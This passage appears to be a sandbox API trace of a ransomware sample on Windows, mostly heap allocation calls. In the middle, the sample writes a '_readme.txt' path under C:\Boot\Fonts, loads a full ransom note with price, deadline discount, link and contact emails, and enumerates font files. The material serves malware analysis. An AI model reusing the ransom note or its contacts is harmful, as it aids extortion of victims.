lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.087] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.087] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.087] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.087] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.087] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.087] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.087] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.087] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.087] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.087] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.087] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.087] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.087] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.087] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.087] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.087] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.087] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.087] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.087] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.087] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.087] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.087] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.087] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.087] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.087] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.087] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.087] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.087] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.087] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.088] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.088] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.088] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.088] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.088] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.088] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.088] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.088] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.088] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.088] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.088] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.088] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.088] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.088] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.088] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.088] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.088] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.088] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.088] PathFindFileNameW (pszPath="C:\\Boot\\Fonts\\") returned="Fonts\\" [0117.088] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.088] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.088] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.088] PathFindFileNameW (pszPath="") returned="" [0117.088] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.089] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.089] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.089] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.089] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.089] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.089] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.089] PathAppendW (in: pszPath="C:\\Boot\\Fonts\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 1 [0117.089] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.089] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.089] PathFileExistsW (pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 0 [0117.090] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x7d00) returned 0x6771170 [0117.090] lstrcpyW (in: lpString1=0x6771170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.090] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.090] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676bc10 [0117.090] CreateFileW (lpFileName="C:\\Boot\\Fonts\\_readme.txt" (normalized: "c:\\boot\\fonts\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.090] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676bc10 | out: hHeap=0x35b0000) returned 1 [0117.090] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6771170 | out: hHeap=0x35b0000) returned 1 [0117.090] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.090] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.090] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.091] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.091] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.091] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0117.091] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0117.091] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0117.091] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0117.091] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0117.091] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0117.091] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.091] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.091] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fa0 | out: hHeap=0x35b0000) returned 1 [0117.091] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fa0 [0117.091] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.091] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.091] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.091] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.091] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.091] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.091] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.091] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.091] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.091] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.091] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.091] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.091] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.091] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.091] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.091] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.092] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.092] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.092] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.092] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.092] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.092] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.092] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.092] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.092] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.092] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.092] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.092] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.092] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.092] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.092] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.092] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.092] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.092] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.092] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.092] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.092] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.092] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.092] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.092] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.092] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.092] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.092] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.092] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.092] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.092] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.092] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.092] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.093] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.093] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.093] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.093] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.093] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.093] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.093] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.093] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.093] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.093] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.093] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.093] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.093] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.093] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.093] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.093] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.093] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.093] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.093] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.093] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.093] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.093] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.093] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.093] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.093] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.093] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.093] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.093] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.093] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, 